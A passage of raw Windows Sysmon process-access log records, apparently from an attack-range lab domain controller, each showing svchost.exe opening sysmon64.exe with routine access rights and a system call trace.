{90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 